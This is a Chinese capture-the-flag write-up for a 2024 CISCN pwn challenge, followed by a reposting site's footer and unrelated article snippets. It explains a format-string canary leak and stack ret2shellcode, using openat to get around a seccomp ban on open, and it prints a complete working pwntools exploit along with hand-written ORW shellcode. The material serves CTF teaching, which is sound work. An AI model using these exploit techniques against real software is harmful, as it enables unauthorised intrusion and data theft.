【PWN · ret2shellcode | sandbox-bypass | 格式化字符串】[2024CISCN · 华东北赛区]pwn1_

一道栈+ret2shellcode+sandbox(seccomp)+格式化字符串的题目


前言

ret2shellcode,已经不是简单的放到栈上、ret这样一个简单的过程。套一层seccomp的沙箱,打ORW又遇到open受限等等,考虑的蛮多。过程中收获最多的可以说是汇编shellcode手动编写时的一些心得,还是跟着返璞归真师傅的wp复现,再次感谢!


一、题目分析

没有给libc,栈可执行、存在Canary

开启了沙箱,禁用了open函数

IDA分析,可以明显看到栈溢出、格式化字符串,且均可以反复触发

 格式化字符串显然是用来泄露绕过canary的,栈溢出+NX没开又显然是用来ret2shellcode的

二、解题

先写个交互函数方便交互

def setName(name):io.recvuntil(b'2: get name')io.sendline(b'1')io.sendlineafter(b'->set name',name)def getName(flag=True):io.recvuntil(b'2: get name')if flag:io.sendline(b'2')io.recvuntil(b'->get name')else:io.sendline(b'123')

1.格式化字符串泄露Canary 

常规套路了,其实不必在此赘述

offset=8

然后脚本挂动态调试,看canary(泄露canary)、rbp(实质上是获取buf的地址,准备布局shellcode)是第几个参数的位置。

offset=8
payload1=(f'%{offset+0x50//8-1}$p--%{offset+0x50//8}$p').encode('utf-8')
setName(payload1)
input('Check')
getName()
io.recvuntil(b'0x')
canary=int(io.recv(16),16)
success(hex(canary))
io.recvuntil(b'--0x')
rbp=int(io.recv(12).decode('utf-8'),16)
buf=rbp-0x60
success(hex(rbp))
success(hex(buf))

 2.ret2shellcode

2.1 openat代替open

        由于开了沙箱,系统调用受限,orw的打法无疑,但是open被禁需要替换。查阅资料后发现openat可以一定程度上等价于open:

#open - flags
/*
O_ACCMODE       00000003
O_RDONLY        00000000
O_WRONLY        00000001
O_RDWR          00000002
O_CREAT         00000040
O_EXCL          00000080
O_NOCTTY        00000100
O_TRUNC         00000200
O_APPEND        00000400
O_NONBLOCK      00000800
O_DSYNC         00001000
FASYNC          00002000
O_NOFOLLOW      00020000
*/

 2.2 shellcode的布局 

之前已经知道能直接布局shellcode利用的buf空间为0x48,直接写长度大大超过

# shellcode 但是太大了
# shellcode=asm('''
#               mov rax,0x67616c662f2e; //./flag
#               push rax
#               ; //openat(-100,'./flag',O_RDONLY)
#               mov rdi,-100
#               mov rsi,rsp
#               xor rdx,rdx
#               mov rax,257
#               syscall
#               ; //read(3,target_address,0x50)
#               mov rdi,3
#               mov rsi,{}
#               mov rdx,0x50
#               xor rax,rax
#               syscall
#               ; //write(1,target_address,0x50)
#               mov rdi,1
#               mov rsi,{}
#               mov rdx,0x50
#               add eax,1
#               syscall
#               '''.format(xxx,xxx))

所以得想办法跨过canary、rbp、ret,构造shellcode

# shellcode分割开
shellcode=asm('''mov rax,0x67616c662f2e; //./flagpush rax; //openat(-100,'./flag',O_RDONLY)mov rdi,-100mov rsi,rspxor rdx,rdxmov rax,257syscall; //read(3,target_address,0x50)mov rdi,raxmov rsi,{}mov rdx,0x20xor rax,raxsyscallmov rax,{}push raxret'''.format(buf+0x80,buf+0x60))
shellcode=shellcode.ljust(0x48,b'\x00')
shellcode+=p64(canary)
shellcode+=p64(0)+p64(buf)
shellcode+=asm('''; //write(1,target_address,0x50)mov rdi,1mov rsi,{}mov rdx,0x50mov eax,1syscall
'''.format(buf+0x80))

 比较妙的几个点是

  1. 通过 mov register,addr;push register;ret的方式实现了定向跳转
  2. 将flag远远写到后面的栈空间,避免对shellcode干扰

三、完整exp

from pwn import *context(arch='amd64',log_level='debug')io=process('./pwn1_')
gdb.attach(io);input()
def setName(name):io.recvuntil(b'2: get name')io.sendline(b'1')io.sendlineafter(b'->set name',name)def getName(flag=True):io.recvuntil(b'2: get name')if flag:io.sendline(b'2')io.recvuntil(b'->get name')else:io.sendline(b'123')offset=8
payload1=(f'%{offset+0x50//8-1}$p--%{offset+0x50//8}$p').encode('utf-8')
setName(payload1)
input('Check')
getName()
io.recvuntil(b'0x')
canary=int(io.recv(16),16)
success(hex(canary))
io.recvuntil(b'--0x')
rbp=int(io.recv(12).decode('utf-8'),16)
buf=rbp-0x60
success(hex(rbp))
success(hex(buf))# shellcode 但是太大了
# shellcode=asm('''
#               mov rax,0x67616c662f2e; //./flag
#               push rax
#               ; //openat(-100,'./flag',O_RDONLY)
#               mov rdi,-100
#               mov rsi,rsp
#               xor rdx,rdx
#               mov rax,257
#               syscall
#               ; //read(3,target_address,0x50)
#               mov rdi,3
#               mov rsi,{}
#               mov rdx,0x50
#               xor rax,rax
#               syscall
#               ; //write(1,target_address,0x50)
#               mov rdi,1
#               mov rsi,{}
#               mov rdx,0x50
#               add eax,1
#               syscall
#               '''.format(xxx,xxx))# shellcode分割开
shellcode=asm('''mov rax,0x67616c662f2e; //./flagpush rax; //openat(-100,'./flag',O_RDONLY)mov rdi,-100mov rsi,rspxor rdx,rdxmov rax,257syscall; //read(3,target_address,0x50)mov rdi,raxmov rsi,{}mov rdx,0x20xor rax,raxsyscallmov rax,{}push raxret'''.format(buf+0x80,buf+0x60))
shellcode=shellcode.ljust(0x48,b'\x00')
shellcode+=p64(canary)
shellcode+=p64(0)+p64(buf)
shellcode+=asm('''; //write(1,target_address,0x50)mov rdi,1mov rsi,{}mov rdx,0x50mov eax,1syscall
'''.format(buf+0x80))setName(shellcode)
input('check')
getName(False)
io.interactive()


总结

做的时候这不会那不会,做完之后写博客,感觉很多都没必要写。。。菜就多练。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/41901.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Hugging face Transformers(2)—— Pipeline

Hugging Face 是一家在 NLP 和 AI 领域具有重要影响力的科技公司,他们的开源工具和社区建设为NLP研究和开发提供了强大的支持。它们拥有当前最活跃、最受关注、影响力最大的 NLP 社区,最新最强的 NLP 模型大多在这里发布和开源。该社区也提供了丰富的教程…

【系统架构设计师】计算机组成与体系结构 ⑩ ( 磁盘管理 | 磁盘移臂调度算法 | 先来先服务算法 | 最短寻道时间优先 | 扫描算法 | 循环扫描算法 )

文章目录 一、磁盘移臂调度算法1、磁盘移臂调度算法简介2、先来先服务算法3、最短寻道时间优先4、扫描算法5、循环扫描算法 二、最短寻道时间优先算法示例 一、磁盘移臂调度算法 1、磁盘移臂调度算法简介 磁盘 数据块读取 的 性能 主要由 寻道时间旋转延时 决定 ; 旋转延时 …

ROS 2官方文档(基于humble版本)学习笔记(四)

ROS 2官方文档(基于humble版本)学习笔记(四) 2.客户端库使用colcon构建包(package)创建工作空间(workspace)构建工作空间执行测试(tests)导入环境&#xff08…

第十四届蓝桥杯省赛C++B组G题【子串简写】题解(AC)

题目大意 给定字符串 s s s,字符 a , b a, b a,b,问字符串 s s s 中有多少个 a a a 开头 b b b 结尾的子串。 解题思路 20pts 使用二重循环枚举左端点和右端点,判断是否为 a a a 开头 b b b 结尾的字符串,是则答案加一…

Stable Diffusion:最全详细图解

Stable Diffusion,作为一种革命性的图像生成模型,自发布以来便因其卓越的生成质量和高效的计算性能而受到广泛关注。不同于以往的生成模型,Stable Diffusion在生成图像的过程中,采用了独特的扩散过程,结合深度学习技术…

2024亚太杯数学建模竞赛(B题)的全面解析

你是否在寻找数学建模比赛的突破点?数学建模进阶思路! 作为经验丰富的数学建模团队,我们将为你带来2024亚太杯数学建模竞赛(B题)的全面解析。这个解决方案包不仅包括完整的代码实现,还有详尽的建模过程和解…

【C++:类的基础认识和this指针】

C的类与C语言的struct结构体有啥区别? 默认的访问限定符不同 类的简要 关键字:class{}里面是类的主体,特别注意:{}后面的;不可以省略类中的变量叫做成员变量,类中的函数叫做成员函数类中访问有三种访问权限…

单/多线程--协程--异步爬虫

免责声明:本文仅做技术交流与学习... 目录 了解进程和线程 单个线程(主线程)在执行 多线程 线程池 协程(爬虫多用) 假异步:(同步) 真异步: 爬虫代码模版 异步-爬虫 同步效果--19秒 异步效果--7秒 了解进程和线程 ​ # --------------------> # ------> # …

MinIO:开源对象存储解决方案的领先者

MinIO:开源对象存储解决方案的领先者 MinIO 是一款开源的对象存储系统,致力于提供高性能、可伸缩、安全的数据存储解决方案。 官方解释:MinIO 是一个基于Apache License v2。0开源协议的对象存储服务。它兼容亚马逊S3云存储服务接口,非常适…

WAIC:生成式 AI 时代的到来,高通创新未来!

目录 01 在终端侧算力上,动作最快的就是高通 02 模型优化,完成最后一块拼图 在WAIC上,高通展示的生成式AI创新让我们看到了未来的曙光。 生成式 AI 的爆发带来了意想不到的产业格局变化,其速度之快令人惊叹。 仅在一个月前&…

Vue + SpringBoot:el-upload组件单文件、多文件上传实战解析

文章目录 单文件上传后端前端 多文件上传后端前端 单文件上传 后端 PostMapping("/uploadDxfFile") public R uploadDxfFile(RequestParam(value "file", required true) MultipartFile multipartFile) throws Exception {// 文件校验工作if (multipar…

web Worker学习笔记 | 浏览器切换标签,定时器失效的解决办法

文章目录 web Workerweb Worker介绍 - 多线程解决方案浏览器多进程架构 web workers 的使用关闭worker引用其他js文件 浏览器切换标签,定时器失效的解决办法窗口可见性 API解决定时器失效的方案 web Worker web Worker介绍 - 多线程解决方案 Web Workers 是Html5提…

服务器数据恢复—DS5300存储raid5阵列数据恢复案例

服务器存储数据恢复环境: 某单位一台某品牌DS5300存储,1个机头4个扩展柜,50块硬盘组建2组RAID5磁盘阵列(一组raid5阵列有27块成员盘,存放Oracle数据库文件;另外一组raid5阵列有23块成员盘)。存储…

HashMap中的put()方法

一. HashMap底层结构 HashMap底层是由哈希表(数组),链表,红黑树构成,哈希表存储的类型是一个节点类型,哈希表默认长度为16,它不会每个位置都用,当哈希表中的元素个数大于等于负载因子(0.75)*哈希表长度就会扩容到原来的2倍 二. 底层的一些常量 三. HashMap的put()方法 当插入一…

ONLYOFFICE最新8.1版本——桌面编辑器简单测评

前言 大家好,我是小雨,看到最近ONLYOFFICE更新了最新的版本,更新了一下当前版本来具体的测评一下,先来看看官网提供的各类更新信息,下面是我找到的三个主页,包括功能演示链接,官网连接以及专门…

阿里云存储

传统存储面临的挑战 现如今,数据与土地、劳动力、资本、技术并称为五大生产要素,数据成为数字经济发展的重要引擎。大数据时代,数据处理的需求急剧增长,越来越多的智能设备以及新应用如区块链、机器学习训练和AI等产生大量的数据…

复分析——第10章——Θ函数应用(E.M. Stein R. Shakarchi)

第10章 Θ函数的应用 (Applications of Theta Functions) The problem of the representation of an integer n as the sum of a given number k of integral squares is one of the most celebrated in the theory of numbers. Its history may be traced back to Diopha…

CV03_mAP计算以及COCO评价标准

COCO数据集回顾:CV02_超强数据集:MSCOCO数据集的简单介绍-CSDN博客 1.1 简介 在目标检测领域中,mAP(mean Average Precision,平均精度均值)是一个广泛使用的性能评估指标,用于衡量目标检测模型…

短信验证码实现

一、设置AccessKey 创建用户并配置使用权限,使我们拥有调用 aliyunAPI 的权限,之后会生成 AccessKeyID 和 AccessKey密码,后面我们会使用到。需要注意的是 AccessKeyID 和 AccessKey密码生成后我们需要将他保存起来,否则后期无法查…

奇迹MU 骷髅战士在哪

BOSS分布图介绍 我为大家带来各地区怪物分布图。在游戏前期,很多玩家可能会不知道该去哪里寻找怪物,也不知道哪些怪物值得打。如果选择了太强的怪物,弱小的玩家可能会无法抵御攻击。如果选择了低等级的boss,收益可能并不理想。所…